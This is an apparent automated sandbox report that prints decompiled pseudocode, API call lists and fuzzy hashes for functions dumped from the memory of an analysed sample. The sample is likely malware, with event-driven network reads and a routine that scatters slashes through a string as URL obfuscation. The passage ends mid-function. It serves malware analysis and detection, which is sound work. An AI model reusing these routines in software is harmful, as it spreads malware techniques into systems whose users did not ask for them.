0x00a153af
0x00a15397
0x00a15467
0x00a15467
0x00a1546d
0x00a1546d
0x00a15473
0x00a15473
0x00a1547c
0x00a15482
0x00a15482
0x00a1533e
0x00a1548b

APIs

SysAllocString.OLEAUT32(00A1C2B0), ref: 00A15349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 00A1542B
SysFreeString.OLEAUT32(00000000), ref: 00A15444
SysFreeString.OLEAUT32(?), ref: 00A15473

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: e1d61421b9dc7222751ed34b30ade9f7b68664ff6f276728dc22eb225b06e244
Instruction ID: 85b9e3c6912c46fe3e2c9262e45aba73dc69944fb8899a1ef7ed820b9b13af3c
Opcode Fuzzy Hash: e1d61421b9dc7222751ed34b30ade9f7b68664ff6f276728dc22eb225b06e244
Instruction Fuzzy Hash: FD513B75D00519EFCB00DFE8C9889EEB7BAEF88705B148598E915EB224D7719D81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A11017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00A11017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E00A1A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E00A1968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E00A18967(_t101,  &_v236, _a8, _t96 - _t81);
					E00A18967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E00A1968F(_t101, 0xa1d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E00A1968F(_a16, _a4);
						E00A11D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L00A1B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L00A1B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E00A11FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E00A18B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00A19100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0xa1d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x00a1101a
0x00a11026
0x00a1102c
0x00a11031
0x00a11035
0x00a11192
0x00a11196
0x00a11196
0x00a1103b
0x00a1103f
0x00a11045
0x00a11046
0x00a11051
0x00a11057
0x00a1105c
0x00a1105f
0x00a11079
0x00a11085
0x00a1108e
0x00a11098
0x00a1109d
0x00a1109f
0x00a110a2
0x00a11150
0x00a11156
0x00a11167
0x00a1117a
0x00a1118a
0x00000000
0x00a1118f
0x00a110ab
0x00a110b2
0x00a110b6
0x00a110bc
0x00a110be
0x00a110c0
0x00a110c2
0x00a110c4
0x00a110ce
0x00a110d3
0x00a110d5
0x00a110d7
0x00a110d8
0x00a110d9
0x00a110da
0x00a110e1
0x00a110e8
0x00a110eb
0x00a110eb
0x00a110b8
0x00a110b8
0x00a110b8
0x00a110f3
0x00a110fb
0x00a11104
0x00a11109
0x00a11109
0x00a1110e
0x00000000
0x00000000
0x00a11110
0x00a11113
0x00a1111d
0x00000000
0x00000000
0x00a1111f
0x00a1111f
0x00a11129
0x00a11109
0x00a1110e
0x00000000
0x00000000
0x00000000
0x00a1110e
0x00a11133
0x00a11136
0x00a11139
0x00a11140
0x00a11140
0x00a1114d
0x00000000
0x00a1114d
0x00a11048
0x00a1104c
0x00a1104d
0x00a1104f
0x00000000
0x00000000
0x00000000
0x00a1104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 00A110C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 00A110DA
memset.NTDLL ref: 00A1117A
memset.NTDLL ref: 00A1118A

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: ed1b2201e0d9d611a9d773dd899db8b82a5b43431846675c384ac86a3d9bc92c
Instruction ID: 61fb334156c9d9dce1377fe21ee41d19695557ce91d954f88641cb082c0f0040
Opcode Fuzzy Hash: ed1b2201e0d9d611a9d773dd899db8b82a5b43431846675c384ac86a3d9bc92c
Instruction Fuzzy Hash: 0B41A471A00259AFDB10DFA8DD81BEE7775EF48310F108629FA19A7181EB709EC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,74B04D40), ref: 00A1A9BD

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

ResetEvent.KERNEL32(?), ref: 00A1AA31
GetLastError.KERNEL32 ref: 00A1AA54
GetLastError.KERNEL32 ref: 00A1AAFF

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 6f8d9b0654cc0e24613423f05c27e4d00d08f3b5b6e784b1398c10f550543a9e
Instruction ID: d6a6092560661a8497b86993f88bc76247632b22d8a661dded6917517ed91ca1
Opcode Fuzzy Hash: 6f8d9b0654cc0e24613423f05c27e4d00d08f3b5b6e784b1398c10f550543a9e
Instruction Fuzzy Hash: 6D418B71501204BFDB209FA5CD48EEF7ABDEF99740F108A29F152D50A0E7719A85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A139BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00A139BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0xa1d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0xa1d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E00A12049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0xa1d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E00A19039(_v16);
							if(_t58 == 0) {
								_t58 = E00A17A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E00A11C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E00A11C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x00a139bf
0x00a139ce
0x00a139d3
0x00a139d5
0x00a139da
0x00a139db
0x00a139e0
0x00a139e1
0x00a139ec
0x00a13a1d
0x00a13a22
0x00a13ae5
0x00a13ae8
0x00a13aee
0x00a13aee
0x00a13a2f
0x00a13a37
0x00a13ae2
0x00000000
0x00a13ae2
0x00a13a42
0x00a13a49
0x00a13a4c
0x00a13ad4
0x00a13ad5
0x00a13ad5
0x00a13adb
0x00000000
0x00a13adb
0x00a13a52
0x00a13a54
0x00a13a5a
0x00a13a5b
0x00a13a5b
0x00a13a5e
0x00a13a61
0x00a13a67
0x00a13a6c
0x00a13a6d
0x00a13a72
0x00a13a75
0x00a13a80
0x00000000
0x00000000
0x00a13a88
0x00a13a90
0x00a13ab9
0x00a13abc
0x00a13ac3
0x00a13ace
0x00a13ace
0x00000000
0x00a13ac3
0x00a13a9c
0x00a13aa0
0x00000000
0x00000000
0x00a13aa2
0x00a13aa7
0x00000000
0x00000000
0x00a13aa9
0x00a13aa9
0x00a13aae
0x00000000
0x00000000
0x00a13ab0
0x00a13ab1
0x00a13ab4
0x00a13ab4
0x00a13a5b
0x00a139f4
0x00a139fc
0x00a13a15
0x00a13a17
0x00000000
0x00000000
0x00000000
0x00a13a17
0x00a13a08
0x00a13a0c
0x00000000
0x00000000
0x00a13a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 00A139D5
GetLastError.KERNEL32 ref: 00A139EE

Part of subcall function 00A11C47: WaitForMultipleObjects.KERNEL32(00000002,00A1AA72,00000000,00A1AA72,?,?,?,00A1AA72,0000EA60), ref: 00A11C62

ResetEvent.KERNEL32(?), ref: 00A13A67
GetLastError.KERNEL32 ref: 00A13A82

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: c8cac8a3eeb9cd45c25f4d4f4164839b8b633504a6712c5211c262e5819429fa
Instruction ID: c8f71d0e784b8e4c4958b700e6feab40d1e1e8b8164577a9b0b3c59d98e9bf1a
Opcode Fuzzy Hash: c8cac8a3eeb9cd45c25f4d4f4164839b8b633504a6712c5211c262e5819429fa
Instruction Fuzzy Hash: CC319333640604FFCF21DFA4CD44AEE77B9AF883A0F244568E595A7190E732EA859B10

Uniqueness

Uniqueness Score: -1.00%

Function 00A142EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00A142EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0xa1d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0xa1d27c; // 0x271a5a8
				_t3 = _t8 + 0xa1e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E00A17A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0xa1d2a8, 1, 0, _t30);
					E00A19039(_t30);
				}
				_t12 =  *0xa1d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E00A1757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E00A1205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0xa1d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E00A1A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x00a142eb
0x00a142f2
0x00a142fc
0x00a14300
0x00a14306
0x00a14315
0x00a1431c
0x00a14320
0x00a14332
0x00a14334
0x00a14334
0x00a14339
0x00a14340
0x00a14395
0x00a14395
0x00a1439b
0x00a1439d
0x00a1439d
0x00a143a7
0x00a143ab
0x00a143bd
0x00a143bd
0x00a143c1
0x00a143c7
0x00a143c7
0x00000000
0x00a14359
0x00a1435e
0x00a14366
0x00a14368
0x00a1436c
0x00a1436c
0x00a14379
0x00a1437d
0x00a14381
0x00a143d6
0x00a143dc
0x00a143dc
0x00a1438f
0x00a14393
0x00a143ca
0x00a143cc
0x00a143cf
0x00a143cf
0x00000000
0x00a143cc
0x00a14393
0x00000000
0x00a1437d

APIs

Part of subcall function 00A17A9A: lstrlen.KERNEL32(00A123E9,00000000,00000000,00000027,00000005,00000000,00000000,00A196DA,74666F53,00000000,00A123E9,00A1D00C,?,00A123E9), ref: 00A17AD0
Part of subcall function 00A17A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 00A17AF4
Part of subcall function 00A17A9A: lstrcat.KERNEL32(00000000,00000000), ref: 00A17AFC

CreateEventA.KERNEL32(00A1D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00A13CA0,?,00000001,?), ref: 00A1432B

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

WaitForSingleObject.KERNEL32(00000000,00004E20,00A13CA0,00000000,00000000,?,00000000,?,00A13CA0,?,00000001,?,?,?,?,00A16880), ref: 00A14389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,00A13CA0,?,00000001,?), ref: 00A143B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00A13CA0,?,00000001,?,?,?,?,00A16880), ref: 00A143CF

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 8c701d6335711c84a59c575f7018aa7fca27944e185161301c4c5bc84fc8e9ac
Instruction ID: 0b5288be837e3674e89ecd4c51e84364b75976f78bf4fee9ac7148d83c143a26
Opcode Fuzzy Hash: 8c701d6335711c84a59c575f7018aa7fca27944e185161301c4c5bc84fc8e9ac
Instruction Fuzzy Hash: 2F21E1326413119BC7319BAC9D48AEB73AAAB8CB60F154615F971DF180DB71CC828690

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00A1A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0xa1d144; // 0xa1ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E00A12049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E00A19039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E00A11C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x00a1a0b2
0x00a1a0b2
0x00a1a0bc
0x00a1a0c2
0x00a1a0c5
0x00a1a0c9
0x00a1a0d1
0x00a1a0d4
0x00a1a0ed
0x00a1a0f0
0x00a1a0f4
0x00a1a0f8
0x00a1a0f9
0x00a1a0fe
0x00a1a101
0x00a1a108
0x00a1a10f
0x00a1a162
0x00a1a16b
0x00a1a16e
0x00a1a1a9
0x00a1a1af
0x00000000
0x00000000
0x00000000
0x00a1a16e
0x00a1a115
0x00000000
0x00a1a11c
0x00a1a12a
0x00a1a12d
0x00a1a130
0x00a1a13c
0x00a1a140
0x00a1a1a2
0x00a1a142
0x00a1a145
0x00a1a149
0x00a1a14a
0x00a1a14b
0x00a1a14d
0x00a1a154
0x00a1a192
0x00a1a19d
0x00a1a156
0x00a1a159
0x00a1a15d
0x00a1a15d
0x00a1a154
0x00000000
0x00a1a140
0x00a1a115
0x00a1a0d9
0x00a1a0df
0x00a1a0e4
0x00a1a0e7
0x00000000
0x00000000
0x00000000
0x00a1a177
0x00a1a17f
0x00a1a186
0x00a1a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,74B481D0), ref: 00A1A0C9
SetEvent.KERNEL32(?), ref: 00A1A0D9
GetLastError.KERNEL32 ref: 00A1A162

Part of subcall function 00A11C47: WaitForMultipleObjects.KERNEL32(00000002,00A1AA72,00000000,00A1AA72,?,?,?,00A1AA72,0000EA60), ref: 00A11C62

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

GetLastError.KERNEL32(00000000), ref: 00A1A197

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: a08a6daceeb4d301a124fdaf71aa6336999a0f591eab340eb6374108f8151b6b
Instruction ID: b89db862252c3c6dc06c03fe517e91a0f73aca2e48735a13b35a24a294bacbad
Opcode Fuzzy Hash: a08a6daceeb4d301a124fdaf71aa6336999a0f591eab340eb6374108f8151b6b
Instruction Fuzzy Hash: 4D311CB5901308FFDB20DFD5CC809DEBBB9EB18340F148A6AE142E2151D770AE859B51

Uniqueness

Uniqueness Score: -1.00%

Function 00A1788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00A1788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0xa1d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0xa1d250; // 0x10332e4f
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0xa1d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x00a17893
0x00a17896
0x00a1789c
0x00a178b4
0x00a178b8
0x00a178bb
0x00a178bd
0x00a178c0
0x00a178c2
0x00a178c5
0x00a178c7
0x00a178c7
0x00a178c9
0x00a178d4
0x00a178d9
0x00a178ea
0x00a178f2
0x00a178f7
0x00a178fa
0x00a178fd
0x00a178ff
0x00a17905
0x00a17908
0x00a17908
0x00a17908
0x00a17913
0x00a17918
0x00a17922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00A1839A,00000000,?,?,00A1A428,?,031395B0), ref: 00A17896
RtlAllocateHeap.NTDLL(00000000,?), ref: 00A178AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,00A1839A,00000000,?,?,00A1A428,?,031395B0), ref: 00A178F2
memcpy.NTDLL(00000001,?,00000001), ref: 00A17913

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 2650f4abfd6af08c936e4e408b96a7442d93dd9d8916407ed4366efb504c932d
Instruction ID: 16e1f1d6ae40059077fb5c1d37a19a0905ce8af86bbbeef5b1b6350dad932612
Opcode Fuzzy Hash: 2650f4abfd6af08c936e4e408b96a7442d93dd9d8916407ed4366efb504c932d
Instruction Fuzzy Hash: 3811C272A40214AFC710CBA9DC88EDEBFBEEBC53A0B054266F50597250EA749E45C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A17A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00A17A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E00A16B43(_t8, _t1);
				_t16 = E00A12049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E00A186D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E00A12049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E00A19039(_t16);
				}
				return _t18;
			}

0x00a17aa5
0x00a17aa6
0x00a17aa9
0x00a17aab
0x00a17ab6
0x00a17aba
0x00a17abf
0x00a17ac3
0x00a17acb
0x00a17ad0
0x00a17ad8
0x00a17ad8
0x00a17ae1
0x00a17ae5
0x00a17aeb
0x00a17aee
0x00a17af4
0x00a17af4
0x00a17afc
0x00a17afc
0x00a17b03
0x00a17b03
0x00a17b0e

APIs

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

Part of subcall function 00A186D8: wsprintfA.USER32 ref: 00A18734

lstrlen.KERNEL32(00A123E9,00000000,00000000,00000027,00000005,00000000,00000000,00A196DA,74666F53,00000000,00A123E9,00A1D00C,?,00A123E9), ref: 00A17AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 00A17AF4
lstrcat.KERNEL32(00000000,00000000), ref: 00A17AFC

Strings

Soft, xrefs: 00A17AA6, 00A17ABF

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: d904bad94e727f6573ac45e6ea4c4b1184045c198c6007790fbd386003c86dbe
Instruction ID: 0f6542fd361fe0587a174d86e1371d8b35bc359abbb5765bc50a7f3dbfce25fd
Opcode Fuzzy Hash: d904bad94e727f6573ac45e6ea4c4b1184045c198c6007790fbd386003c86dbe
Instruction Fuzzy Hash: 3A01A232104219ABC712ABA5DC85AEF7B7DEF88355F048121F50695111DB79CE86C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A17C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A17C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
